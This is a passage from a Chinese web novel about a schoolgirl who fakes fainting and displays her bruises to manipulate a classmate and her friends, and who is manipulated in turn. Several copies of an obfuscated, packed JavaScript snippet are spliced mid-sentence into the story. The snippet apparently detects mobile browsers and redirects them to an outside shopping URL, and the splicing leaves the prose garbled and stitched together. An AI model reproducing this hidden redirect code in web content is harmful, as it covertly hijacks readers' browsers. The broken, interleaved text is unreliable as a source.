她听见一位早看她不顺眼的女生吐槽:“……是我错觉么?她怎么每次都在景浣附近晕啊,上次站不稳,这次又来。” 她听见男生们说:“啊,班花怎么回事?等等这千载难逢的好机会。” 她听见班主任进来呵斥大家安静,并叫附近的人和她的同桌送她去医务室。 跃跃欲试、嘈杂纷乱的声音萦绕在耳。 最后她终于等来了那只温暖的大掌将她扶上同样温暖的后背。 男生的声音从喉咙透过胸腔再传到背上的她耳朵里,“老师,我和两个女生就够了。” “没错…”毛巧贞跟柴佳的声音不齐地附和道。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17233424|197627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 昊磷同意了,十万火急地催促他们尽快。 卓星宇坐立不安,要不是景浣提前拽住他,第一个冲到葛飞灵身边的绝对是他。 “我去就好。”班里这么吵,同桌冷静的声线依旧有条不紊传入他耳内。 对景浣根深蒂固的信任和一丁点自卑的因素,导致他踌躇了一分半秒。 直至那三人离开教室,周围的喧闹渐渐平息。 卓星宇心有不甘地盯着他们,但是班主任已经下令,再后悔也晚了 …… 葛飞灵回校那时给柴佳和毛巧贞群发了同一条消息。 【今晚晚修我会在景浣身边晕倒,给你们制造两人独处的机会,你得比其他人快一步过来和景浣一起扶我,这样就能顺理成章和景浣在医务室外独处。】 * 柴佳和毛巧贞起初都想得美好,但不曾料到半路会杀出一个程咬金。 她们跟在景浣的背后,一路上琢磨着如何将对方赶走。 结果到了医务室,医生却嫌他们人太多,只让两个人进。 “……” 然后她们只能眼巴巴望着景浣将人继续背进去。 躺在他背上的葛飞灵早已预知到这一幕,她事先了解过校医的习惯。 医务室内。 值班的女医生给葛飞灵量了体温计,又探一把她的额头,说:“没什么大碍,就是低血糖,这女生应该中午没吃饭吧,晚上估计也没怎么吃,血糖太低了,你看她嘴唇青白的样子……” 女医生一边摘她的口罩,一边振振有词,后面忽然没了声。 景浣坐在附近的椅子上,注意地避开了目光,正视前方,“医生,她这是长期不吃饭导致的还是体质原因?” 女医生将葛飞灵的口罩戴回去,认为还是不要多管闲事的好。 她回答男生的问题:“不好说,应该两方面都有。” “好的,多谢医生。” 女医生用力摁了一下葛飞灵的人中。葛飞灵蹙眉,还得假装穴位被刺激到,睁开眼醒来。 瞧她醒了,女医生将刚才的话又重复一遍,语重心长地告诫她,“千万别为了减肥饿着自己,身体才是最重要的,你们还得高考不是。” 葛飞灵安静地点头。 “你在这儿陪她一会儿,让她把药吃了再去小卖部买些补充血糖的巧克力,我去整理一下药库。”女医生包好一袋五颜六色的药,放在桌面,随后走进药库。 葛飞灵将手撑在纯白的病床上,准备一点点地挪动起身。 背后突然传来一只手帮她。 葛飞灵什么都预料到了,却没预料到这个情况。 她反射性一躲,差点从床上摔下去。景浣无奈又觉好笑的声音,“你反应干嘛这么大?” 葛飞灵转过身,但是目光并未直视他,说了声抱歉。 “星宇给你的药,你没吃么?”景浣见她坐直了身体,才放心地收回手臂。 他的视线览过她裹着口罩的脸。 “没什么用。”那瓶药已经被葛飞灵塞进桌洞放置发霉了。 景浣的表情微顿,“这个需要坚持服用,只吃一两次肯定没什么效果。” 他未免也太关心了。葛飞灵抬眉看他,说:“你好像很了解?” “嗯。”他像是想到别的,反应稍淡了些许。 葛飞灵没再说话。 隔了几秒,她慢慢将心中设想了几遍的场景演出来。 “谢谢你背我过来,”她先开口道,然后调整着微松的口罩,换上慌乱的语气解释,“我今天只是重感冒忘了吃饭,你先回教室上晚修吧,我休息够了可以自己回去……” 口罩带子在这时不小心被她掀了下来。 景浣本来就一直关注她的情况,从她的声音和语气不对劲起就密切盯着。 像是被得知了羞人的秘密,葛飞灵惊慌失措地、颤着手想要塞回意外跌落的口罩。 刚碰到口罩时就被他抓紧了一只手。 葛飞灵的指尖不自觉一抖。 他干脆俯身向前凑近,把她的口罩摘走了。 8. 8% 亮度足够的灯光打在她的脸上,照出一条条从眼角延至下巴的淤痕,雪白的肤色让红肿泛青的伤疤暴露得更彻底。 葛飞灵心里默念几秒,确保自己的伤被看得一清二楚后,她才慌张地侧过头,手腕扭着想挣脱。 他陷入异常的安静。 “把口罩还给我……”葛飞灵被他的视线紧盯,十分不自然,别扭地将手掌反剪到背后,脑袋仍旧低着。 “谁打的?”景浣问她。 葛飞灵已经挣开了他的手,按照剧本沉默不语。 过了几秒,她的指尖微动,后面的右手迟迟碰不到口罩,她慢慢抬头转向他那边。 景浣平静地看着她,将她的口罩随手放到腰后,跟她谈条件: “想要回去的话,先告诉我你的伤怎么来的。” 葛飞灵缄默地摇头,伸出胳膊想继续抢回口罩。 心里的目标在一步步点亮、通关。 她明白自己赌对了。对方的反应说明起了怜悯之心。 无声的争夺中,葛飞灵让校服袖子往上收缩,动作放慢一拍。 景浣果然注意到她的双手也不太自然。 他蓦地拉住她的右手腕,把袖子往上一撸。 比脸颊更有过之而无不及的鲜红伤痕赫然堆满整只胳膊。 “你有男朋友么?”景浣还没揣测到家庭问题,而是问了这一句。 葛飞灵垂下眼睑,微颤的睫毛如孱弱挣扎的蝶。 无声胜有声。 “你不说话我没办法帮你。”他的嗓音平稳中透着一丝无奈。 眼前已然全被他看穿的女生拼命想遮掩,想把袖子拉直放下去。他不准,她就将脸默默转到一边,不让他看。 景浣握着她比上次似乎更纤细的手臂。 腕骨和细嫩的皮肤,紧紧贴合他的掌心,仿佛脆弱得不堪一击。 景浣稍微一用力,她整个人被迫转回来,无法逃避地面对他。 “你真的什么都不肯说?” 其实他并没有把握撬开她的口,她不吭声,他确实没辙。 女生却在这时候揪住他的校服袖子,眼睛红彤彤,鼻尖透着粉,泪水在眼内打转,“你可不可以把口罩还给我?” 景浣怔了一怔,她便趁他不注意将口罩夺回去。 明明是她抢赢了,但是眼泪像开了闸的水龙头,一滴滴往外掉。 景浣看着她,伸臂摸了口袋,一直随身带的纸巾偏偏没带。 他知道这个时候保持安静最好,因为对方明显不想跟他谈及原因,而且情绪太激动的话,他再火上浇油也不好。 景浣坐在椅子上,打算静静地陪她一会儿。 不料,下一秒女生居然把头靠到他的肩胛骨处。 校服单薄的料子立刻被温热的液体一点点浸润。 他僵硬了一瞬,随即全身的肌肉都绷紧起来。她靠得太近了,以至于超过了人与人之间恰当的亲疏线。 景浣抬起手,想推开她,葛飞灵啜泣着,哭声压抑到只有他能听见的动静。 终究没有推开。 他又将手垂下去,她哭得很伤心,于情于理他都不应该推开她。 另一边,葛飞灵克制自己的心理抵触,主动靠向他那儿。 整个过程很费心力,她现在只能训练做到只有眼部和额头枕着他肩膀,再多的,她也不行了。 靠了之后,她发现他的骨架挺结实的,肩膀也算得上温暖。 葛飞灵一边乱想一边赶走内心深处恐惧的影响。 她迟早得克服这个毛病。强大的人不应该有任何缺点。 在十几分钟的沉默氛围内,景浣默许了她靠在自己肩膀上哭的行为。 她真的很能哭。 景浣哭笑不得地想,就这样挨着他的肩膀默默流着泪,还很持久。 “你是小龙女么,都快哭出一片海了。”他轻声调侃。 葛飞灵抬头,挂着晶莹的泪珠看他,没接他的梗。 景浣也不芥蒂,她的眼泪总算停歇了。他拿起桌上的药和一杯水,哄她吃。 望着哭得半张脸泛红的女生,景浣松了松肩膀,温热的眼泪覆盖着,锁骨领口的布料湿得不成样子,风稍稍吹过,一股冷意便盘旋在湿透的衣服,像着凉似的。 这种感觉在出了医务室之后,更为强烈。 “飞灵她怎么样……” 毛巧贞和柴佳还在门外等着,景浣微微皱眉,觉得两人没必要浪费晚修的学习时间白白守在这里。 葛飞灵低头,趁景浣先走在前面的时候,摘了口罩让她们看清自己的伤。 两个人皆是一惊,正要惊呼,葛飞灵伸出食指抵着唇,暗示地望一眼景浣的背影,轻轻嘘了声。 她不想景浣知道。 毛巧贞和柴佳准确接收到这个信息后,马上收敛了表情。 葛飞灵重新戴回口罩。 只要将自己身上的伤给她们看,任她们心眼一样多也不会料到她伤成这样还想吊凯子。正好消除了她们等太久的埋怨和怀疑。 “医生怎么说啊,她没事吧?”景浣回到教室,晚修已经过去了一半。同桌火急火燎地询问葛飞灵的情况。 “没吃够饭导致的低血糖。” “啊?她想减肥吗?”卓星宇第一反应是这个。 景浣没否认。 “她的体质好像很弱……”卓星宇不由开始盘算帮人补充营养的计划。 景浣似乎看出了他的意图,“她最近心情不太好,暂时别打扰人家了。” “……哦。”卓星宇被识破心思后无地自容。 景浣见他严肃的神情,嘴角挂上笑意,开导他,“以后总会有机会的,现在学业为重。” “话是这么说没错……” 可是每次一看见心上人,怦然心动哪能顶得住啊。 “班长,去演戏吧,我会买票去看的。”景浣听完他的真心话,揶揄。 卓星宇有点恼凶成怒,“你学坏了我告诉你,你自从把班长的职位推给我就变了,忘了过去端庄稳重的形象!” “我哪有变过,”时间剩余不多了,景浣没再逗对方,“明天还得测理综卷,不闹了。” 卓星宇立马正襟危坐。景浣见此笑了笑,他弯头去寻桌洞的书时,领口那儿还有点湿,里面的短袖校服顺着未干的水渍贴上他的皮肤。 景浣垂下眼帘,浓密的睫毛挡住了他的眼神内容。 * 当晚,两块石头心软又心疼。 “打你的人也太过分……”回头再看,柴佳仍然对她满脸的伤痕吃惊,医务室的意外早抛诸脑后。 “天呐,怎么会被打成这样……”毛巧贞原本还耿耿于怀她和景浣单独相处的二十多分钟,现在已经无暇顾及。 “其实早就不疼了。”葛飞灵故作坚强地卖惨。 她发现这招对所有人都通吃管用。 “不行,飞灵你长得这么漂亮,万一以后留疤了怎么办,我家里有很管用的祛疤药,你等着,我下周回家给你拿。” 葛飞灵微点头,继续装出一副郁郁寡欢的样子。 毛巧贞果然中计了,担忧地握住她的手背,“飞灵,你这段时间就好好养伤,别操心我和景浣的事了。” “嗯,我最后再说一件,教室角落的书柜是不是经常装着各种期刊和杂志?” 毛巧贞点点头。 “景浣似乎挺喜欢看电影杂志的,班里大部分电影期刊也是他买的,我注意到他对一部电影很上心,那天刚好看到他用铅笔圈起来了。” “哪一部?我没关注这个点哎,毕竟我也约不到他出来看电影。” 葛飞灵吐出四个字。 毛巧贞略有耳闻,“我好像听过这部电影,算是老电影了吧。” 葛飞灵:“你可以跟他找这方面的话题聊,或许会有新突破。” 毛巧贞忽然抱住她,激动感动得不行,“飞灵我都不知道该怎么报答你,谢谢你这么帮我出主意,到时候我们真成了我一定要好好答谢你!” 葛飞灵唇角扬起微小的弧度。 你现在就在报答我啊,小石头。 从前天发现景浣的这一点有利可图起,她正愁找不到人来突显她的悲惨。 苦肉计的卖惨最好由外人来帮她完成这一步,自己说出来则过于刻意了。 葛飞灵时刻记住让自己看上去处于被动情况,这样最显无辜,并且将主动权交到景浣身上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17233425|197627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,由此对方的每一次选择她都能研究得更清晰。 周三下午,葛飞灵找徐柔帮她打印一张剧照。 许久没回到十九班了,葛飞灵象征性地环视一周。 以前最难缠的追求者时至今天也没死心,见到她又屁颠屁颠地过来。 “飞灵灵,你是不是想念我啦所以回来探望我,我早跟你讲实验班的辛苦程度不是人呆的地方……” 顶着锡纸烫的男生贪婪地从头到脚扫视她,即使她还戴着口罩。 葛飞灵深知对方的死性不改,也没给他留面子,“滚,我跟你没那么熟。” “好久没听到你骂我了,好怀念,你还不承认你对我有感觉,不然怎么只骂我一个人?” “因为你像狗皮膏药啊烦不烦,姚狗滚。” 徐柔过来救驾了,怒嘲这个死皮赖脸的贱人。 “关你毛事啊靠。”锡纸烫马上唰地变脸,“以前怎么不见你这骚货行侠仗义?” “操/你妈,管得着么你。” “那你现在多管闲事干屁啊!” 两座火山旁若无人地互撕起来。 正好中和了,合她意。 葛飞灵从徐柔手里接过剧照,趁着两人吵得火热,匆匆下楼。 她一点也不想再沾上以前班的人际关系,实验班虽然累但起码每天都很充实,以前的差班只会让她成为众矢之的。 太多人追她以至于她被“荡/妇羞辱”,这段记忆想忘都难。 回到二楼的实验班,葛飞灵算准时间,等到最后一节自习结束,拎着练习册过去找他。 毛巧贞今晚大概会跟他聊电影,她得赶在之前先把钩子放了。 今天主要目的不是接近来了解他,而是反过来,她要乘着那身伤疤的顺风车再骗一把狠的。 核心关键词,卖惨。以及通过别人揭示自己的惨。 医务室那天她压着什么都不讲,就是为了现在找到一个好理由进行下一步。 “嗯,这道题。”葛飞灵问他题目的次数多了,神态和动作处理得愈发自然。 找他请教是最光明正大也不容易落人把柄的一个途径。 反正每天问他的人多不胜数。 “这道是么?”景浣也被人问惯了,不管对方是谁,他都一视同仁,耐心讲解。 “嗯,还有后面那道。”葛飞灵点头,预计这次的时间不长,干脆站在他身旁的过道。 景浣简单地扫过一遍题目,根据对方的理解程度大概猜到讲的时间,他抽出草稿本,正要开口让她先坐,顺手翻到下一页的题目。 一张印刷清晰的人物肖像照片夹在其中,景浣的动作一顿。 照片上是一个平平无奇的普通中年男人的半身照,典型的偏韩长相,留着一头邋遢的短发。 昏暗特调的光线有些眼熟。 停留几秒就够了,足够让他记住,葛飞灵默念着,然后伸臂从练习册掀走那张照片,“抱歉,我没收好照片。” “这是?”景浣抬眸望她,显然对她惊慌失措的举动有些意外。 葛飞灵酝酿感情,低声回:“我爸。” “是吗,你们倒是长得不太像。”景浣重新埋头看题,没过多停留在不相关的话题。 尽管他觉得这人有似曾相识的错觉。 她忽然又将联系册也抽回去,随口找了个借口,“我、我突然想起来有事,先不问了。” 葛飞灵不等他应道,紧紧抱着练习册离开。 一旁视奸已久的卓星宇还没盯够美貌,下意识将直观感受说出来,“好像被发现了见不得人的秘密一样……” 景浣的指尖微动,练习册被抽走的时候擦过他的手,那触觉一时还残留在掌心上。 “可能触犯到她的隐私了。”景浣继续做自己的练习,并未计较这种小细节。 管太多是一个容易让人生厌的缺点。 然而,同一天晚上,便有人帮他解答了这个疑惑。 毛巧贞跟他闲聊空隙谈到一部韩国老电影,《汉江怪物》。 几乎是对方说起的一瞬间,景浣终于对上了记忆中的演员。 她练习册里的照片正是那部电影的主角。 不是她的家人。 9. 9% 星期四的第八节课一般是班会课,昊磷说不上多负责,但也比较懂学生的心,他不怎么强调成绩,因为各科成绩与平均分他化学课上早就讲得滚瓜烂熟,再上班会课讲纯属无意义的复读机,没必要。 所以昊磷通常口头激励一下大家,ppt就不上了,给级前十名奖励奖励文具,然后给他们放电影或是动漫。 他也乐得自在,少上一节班会课等于带薪休假。 “待会儿放电影看,班长过来帮忙搬一下电脑。”第七节课课间,昊磷过来宣布班会课的安排,顺道找人搬东西。 班里一听是放松的内容,纷纷起哄欢呼,个别好事者举手追问:“老师,这回看什么电影啊?” “等会儿你们就知道了,一个有品位的好孩子帮老师挑的。” 大伙超给面子地附和,拭目以待。 葛飞灵没注意他们的吵闹,和柴佳玩了个小游戏。 两人分别写出景浣看得见的优点。 方便她从其他不同角度钻研。 柴佳先写的:【情商高。】 这倒是所有人公认的一点,葛飞灵跟着写了个类似的:【知世而不世故。】 柴佳:【家教好。】 葛飞灵:【人格健全。】 她一直贴着柴佳的形容词意思写,目的想逼出她藏起来的一点东西。 那一次柴佳中午去找景浣,她不在场,仅凭那份简略的记录,她后来怀疑柴佳隐藏了部分事实,但她的同桌性子闷,本来就不是多话的人,企图逼问不现实,只好出了个迂回的法子。 【待人温和但是……】 葛飞灵看着同桌停滞的笔尖,答案像要呼之欲出。 柴佳组织好语言,补充完整:【但是泾渭分明。】 葛飞灵:“……” 这些她早八百年清楚了。 算了,下次另寻办法。 上课的铃声正巧打响,她熟练地收起草稿本,班长小心谨慎地抱着笔记本电脑进来。 葛飞灵习惯性望一眼景浣的近况,同时准备待会儿屏蔽电影的耳塞。 昨天根据毛巧贞的描述来看,景浣的反应一般。 不过这也能让毛巧贞高兴好半天,“我觉得他有对我上心哎,他还跟我讲了一些电影之外的花絮和含义,搞得我真对那部讽刺电影有点兴趣了。” 葛飞灵及时抓住关键点,“他跟你说这是讽刺电影?” “对啊,难道不是?我还去看了下网络评价,确实都这样说。” “没什么。” 她会选择这部电影,主要是她觉得这是一部亲情电影,很好掌握电影中的情感并且拿来运用。 如果他的理解太深……很有可能适得其反。 景浣的态度她捉摸不透。 目前仍没有表现出来得知她欺骗的情绪,如果不是通过毛巧贞的实时反馈,她还以为景浣的记忆力太差,没发现她骗人。 葛飞灵抽出那本笔记本,否掉了这条卖惨。 她打了两个叉,教室的灯忽然熄灭,柴佳这时碰碰她,“这好像是他第一次上讲台看电影…” 葛飞灵循声望过去,投影仪正慢慢拉开,景浣站在讲台上帮忙调试投影。宁愿去讲台看小屏幕的通常嫌弃不够高清,之前几次的观影班会,来来去去都是那几个男生在讲台看电脑原版。他倒不像这样的人。 她不动声色地观察他的举动,已经本能地开始分析他的某些表情和行为。 投影仪上的画面忽然猝不及防地炸开,葛飞灵挪走目光,眼睑随之颤了颤。 满是化学试剂的实验室,两位配角登场—— 电影居然是《汉江怪物》。 也是这时,景浣像是察觉到她惊讶的视线,抬眸朝后排的座位扫来。 …… 他投来的视线,和她的目光撞上有十几秒。 那十几秒内,电影已经开始播放,葛飞灵实在看不透他波澜不惊的眼神。 他故意的。 明知道她骗人,还偏要选择让全班来观赏这部电影这种方式昭告。 葛飞灵原以为他会私底下随口试探自己,没想到他更直接。 直接借着班会课无声地揭穿她撒谎的事实。 等于在逼她主动坦白一样。 被动被迫成了主动。 葛飞灵对他的认识又深一层。 像是不约而同说好似的,班会课放学,葛飞灵一直呆在教室,他破天荒也是。 “景浣,不一起吃饭么?” “不了我今天有事。” 他果然在等自己给一个解释。 葛飞灵捏着笔帽,还是把笔合上,拉开椅子从后门走了。 计划被打乱了,她也不想顺他的意。 * 一阵阵吸溜泡面的声音,小女孩坐在正中央,吃着零食,又咬一口爸爸凑到嘴边的卤蛋,姑姑帮她顺了顺软发,叔叔把香肠剥好给她,爷爷夹起泡面里的鸡蛋递过去。 周五晚上,葛飞灵陪毛巧贞在阳台断断续续地看完了那部电影。 毛巧贞的精神很集中,盯着手机屏幕不自觉感慨:“他们一家人好不容易啊。” 葛飞灵一言不发。 毛巧贞又看了会儿,转头才发现旁边的女生掉着眼泪。 “飞灵你怎么哭了……”毛巧贞手足无措。 “没事。”她的嗓音略沙。 “明明就是有事。”毛巧贞不傻,看着她微红的眼圈,“你在我面前还有什么不能说的?” 葛飞灵擦干 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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景浣眼神微动,开始收拾起桌上的卷子,他问:“会不会跟她的伤有关?” “不知道,不过我猜肯定是,但飞灵的嘴好严,套不出话。” “她应该有以前班的朋友,”景浣垂眸,不动声色地给主意,“你可以问问跟她往来比较近的同学。” “对诶,这个办法可行。”毛巧贞面露喜色,打算今晚就去十九班试试。 她当时还不知道,自己不仅被最好的朋友利用着。 就连喜欢的人也反过来利用她套取信息。 10. 10% 正午烈日,体育课。 自由活动解散后,葛飞灵折着卷子躲到体育馆的观众席上。 算起来,她有一段时间没去找景浣问题目套近乎了。 一方面是她有点烦,几天的随堂小测并不理想,她觉得在景浣身上费心思不可避免地影响到学业。 虽然不值得,但是一旦开始,退缩就是胆小鬼。 另一方面通过柴佳和毛巧贞旁敲侧击,知道两个人都给他透了不少信息。 葛飞灵打算再晾一段时间。 正想着,她从兜里掏出笔和折叠成方块的卷子,提笔要写题目的时候,旁边的椅子涟起一阵微小的震动,两盒气雾剂递到她面前。 葛飞灵握笔的手停住。 “这个祛疤效果很好的。”本该在球场上的男生突然空降,坐到她左边的席位,看着她脸上淡粉的痕迹开口。 她没接,景浣暂时放到座位上,继续说:“毛巧贞都告诉我了,对不起。” 传声筒起作用了。 只是她没料到,他主动过来找她的时间比预计的更早。 葛飞灵悄无声息把笔收回去,和他拉开了一点距离,装出被戳中心事的模样,“我没有被家人打,不是他们打的。” 欲盖弥彰。 景浣的脸色仍保持平静,眉眼稍松动。 “他们这样对你多久了?”他问。 葛飞灵真不想给他透露太多细节,将卷子揉回口袋,她起身要躲开他的趋势。 他想也不想地抓住她的手腕,“逃避解决不了问题。” 温热、掌纹脉络紧贴她的皮肤,葛飞灵强忍几秒闭眼,顺着他的力道重新坐回去。 景浣刚有一点欣慰,眼前的女生又扑簌簌地掉下眼泪,豆大的泪珠砸落他的手背,然后蜿蜒流到校裤上。 “哭也不能解决问题。”他无奈之中带了点心揪,拿出备好的纸巾,递给她。 她还是哭,眨着眼,眼泪越掉越多。 人的性格在细节中体现,有时候,哭泣的方式也能窥见一二。 她的啜泣总是克制着压到最小,直至无声,足见她整个人也是压抑的,在那个家活得如履薄冰。 景浣定定地看了一会儿,发现她又有小龙女哭海的倾向。 他只好自己抽出一张纸巾,稍微凑近间距,俯身替她擦眼泪,“我这次没有衣服给你哭了。” 她还能抽噎着把泪全揩到他的手背上,跟小朋友报复似的。 景浣忍不住笑,照单全收她的眼泪,又抽了两张纸巾,轻而缓慢地擦拭那双漂亮微肿的眼眸。 “你家里的事,如果有什么难处,可以跟我说,我会尽力帮忙,你哭得再多,也只是助纣为虐,知道吗?” 葛飞灵心底嗤之以鼻。 这么多年她靠眼泪才活下来的命,听他一个不愁吃穿长大的才是傻。 但她面上不表,仍然装纯装可怜。 葛飞灵一边不满他擦眼泪的动作慢得出奇,一边歪打正着地贴到了他的掌心。 景浣触及她娇嫩的肌肤的指尖滞了滞。 随即他突兀地往别处望了一眼,似在管理表情,然后调整过来,继续帮她擦着泪水。 “谢谢你,我自己、自己来吧。”葛飞灵像被他的体温烫着了似的,马上拉开两人之间过近的距离,从他手中接过半湿的纸巾。 他依言让她拿走整包纸巾,没再吭声,掌心残留的液体顺进他的袖口。 景浣安静地看着她胡乱又快速擦脸的动作。 “……我先走了。”女生似乎很讨厌跟他单独相处,囫囵擦完眼泪又想再度起身离开。 景浣没阻止她,也没提醒她忘了拿气雾剂。 上午第三节课的阳光太过刺眼,葛飞灵提前从体育馆出来,迎面的日光霎时直射,还未适应过来的眼皮浮上疲倦和刺痛感。 “飞灵原来你在这儿!”她没走几步,就被刚运动完的毛巧贞找到了。 葛飞灵觉得眼皮更痛了。 她只想赶紧找个地方歇一歇。 毛巧贞仿佛有用不完的精力,一边眉飞色舞地说着某部电影情节,一边拉着她往体育馆的方向走。 “别。”葛飞灵揉着太阳穴婉拒,“我们不如回教室聊吧。” “没事,反正也快下课了,体育馆比较近呀。” 葛飞灵还没做好再撞见景浣的准备,对方就从馆口走出来,毛巧贞有些欣喜,朝他打招呼,“好巧呀景浣。” “嗯。” 他笑笑,颔首回应后便往操场走去。 全程很识相地、目光没过多停留。 葛飞灵又弄不清他心思了。 毛巧贞的视线颇为留恋地跟了一会儿,然后嘴上继续讲回电影的内容:“那部电影情节设计得真的很巧妙,主角和同伴考试作弊被人举报,老师分开叫他们进办公室,首先对主角严厉逼问,主角宁死不招,老师就叫第二个人进来,跟他说主角全都坦白了,你还不认么?吓得那同伴立马承认,招了作弊细节。” 葛飞灵漫不经心地听着,在回想景浣方才的一举一动,查漏补缺。 “那老师好厉害啊,好会用揣测别人的心理。” 毛巧贞感慨着,目光游离到篮球场上景浣的背影,她又犹豫地讲:“对了飞灵,其实我瞒了你一件事来着。” 葛飞灵思绪稍稍抽离,看向她。 “我不是说景浣关心你的伤么,还让我去问你以前班的同学,我没去问,也没告诉他你家里的情况,因为觉得这样暴露你的隐私实在不太好……”毛巧贞话音未落,葛飞灵的眼神微变,追问:“所以他根本不知道我身上的伤是谁打的?” 毛巧贞点头:“是的……我觉得这种事你肯定不想被太多的人知道,虽然景浣不会乱说……” 葛飞灵静默五秒。 被他套话了。 他就跟毛巧贞说的电影一样,利用了她的心态,来得到他需要的信息。 “景浣,你刚去哪儿了啊?”其中一个男同学/运着球好奇地问。 景浣换上事先备好的T恤,稳稳接住那颗篮球,牙齿微露,“我没去哪儿。” 他仰头,举臂将篮球掷过一条弧线。 “砰!”球正正好好落进球框内。 “卧槽,三分!” “我景牛逼。” 他们果然被转移注意力,没再缠着这个问题。 * 课间,班里堆满了运动过后的热汗气息。 葛飞灵依旧干净整洁,头发丝也没乱,坐在座位上写作业。 “我在操场跑了好久,可是景浣有一段时间没在球场……”柴佳擦着汗坐下来,跟她发牢骚。 葛飞灵解着题,脑内划过几个念头,开口:“也许他去找别人了。” “他去找谁了?” 同桌顿时紧张起来,脖子上的汗还没擦干就凑过来。 葛飞灵微不可闻地蹙眉,拿本子挥了挥,假装自己很热。 “你说他能去找谁。”她意有所指地望了毛巧贞的方向。 正好试探柴佳到底瞒了她什么。 葛飞灵想到这儿,又讲:“我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17233427|197627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中午不能跟你一起吃饭了,有点事,你最近也先别找景浣了。” “好…好,我知道了。”柴佳心神不宁地应。 葛飞灵分心写完最后一道题,她猜到同桌肯定不会善罢甘休。 其实对方没有想象中听她的话。 教室因为一节体育课变得闹哄哄,如同菜市场一样。 景浣去卫生间换下湿透的T恤,洗干净汗水流淌的脸,他习惯性摸裤兜的纸巾,碰到盒子的触感,才想起来纸巾全给她擦眼泪了。 他嘴角微扬,垂下手,只好用指腹抹去眼角的水,能睁开眼就行。 回到教室,他脸上的水已经吹干了一半,毛巧贞恰好在门口撞到他,“景浣,我又想起一道题没问你……” 葛飞灵和柴佳同时看见了这一幕。 天助她也。 葛飞灵为了排除暗恋他的嫌疑,率先挪开目光。 眼角的余光侧扫到同桌的视线久久不离。 这下她对中午的揭晓更加有信心。 “可以是可以,但你得先让我回座位吧。”景浣无奈地笑,抬眸看见班里许多人盯着他们俩,似是怀疑着什么。 最近毛巧贞确实找他的次数过多了。 他也扫见班里后排座位的葛飞灵罕见地跟着望过来,只不过撞及他的目光,随即又迅速低头写东西。 景浣不自觉笑,毛巧贞还在喋喋不休地说着题目,误以为他心情不错。 “他对我笑了好像……”柴佳则喃喃自语,语气中透着一丝兴奋。 葛飞灵自动屏蔽同桌的花痴,记录研究的笔记本又贴上一句话: 他的兴趣暂时不明。 今晚她得去找一趟徐柔,顺便还钱。 中午放学,葛飞灵只留了几分钟就离开教室,走到与高三相连的实验楼,爬上三楼,站在叶子遮挡的地方,观察楼下窗户透着的实验班情况。 这个位置她上次无意中发现的,估计昊磷平时没少站这儿视奸他们。 她一边时不时关注一眼,一边写着老师布置的英语作文。 作文临近收尾的时候、毛巧贞刚走没多久,景浣准备收拾桌面,柴佳默默走到了他桌前。 零星几个男生状似起哄,景浣的脸色不变。 柴佳用祈求的神情盯着他,嘴没有停下来过。 景浣的动作放慢,非常有耐性地听,表情管理依旧没有破绽。 班里逐渐没了人,打算和景浣一起吃饭的男生都先走了。 葛飞灵观察他们俩的默剧,揣测两人的情绪起伏。 没多久,柴佳直接趴到他的桌子,肩膀一抽一抽的,景浣神情稍缓,曲起手指敲了两下桌沿,叫她起来。 不等景浣去扶她的肩,柴佳就猛地抬头。 错失了一次机会。 还是太笨,葛飞灵想。 这下景浣见她没事了,也没了留下来陪她的理由,微张嘴说了句话,柴佳的眼神充满不舍。 仿佛一只即将被抛弃的流浪猫。 景浣摸了摸她的头,似乎又安慰了什么内容,抬眸往别处看了一眼。 葛飞灵猜他在看墙上的时钟,他开始烦了。 柴佳应该点到为止,别再纠缠才对。 可柴佳终究不是她,当局者迷,旁观者清,爱恋蒙蔽了她,导致看不清景浣的真实想法。 其实也不是。葛飞灵转念又想,景浣的表情管理太好,大概没多少人能彻底看穿他。 她也只是通过他表现出来的行为推测,和依靠那本每天把他当课题来研究的笔记。 11. 12% 12点24分。 午后的阳光和树影投进来,柴佳揉着干涸的眼睛,面上和心里慌得不行。 刚才她一冲动,就开口问了景浣是不是跟毛巧贞在一起。 景浣原本安抚她脑袋的手,慢慢地收了回去。 柴佳忽地惊觉自己说错了话,可是已经晚了,景浣果然怀疑起她动机不纯。 他说:“其实你家庭没有这么困难的对不对?” 柴佳根本不敢看他,目光闪躲着,否认:“不是、我……” “先去吃饭吧。”景浣却不再看她,语气仍是那个语气,但是柴佳发现其中渐渐变味了。 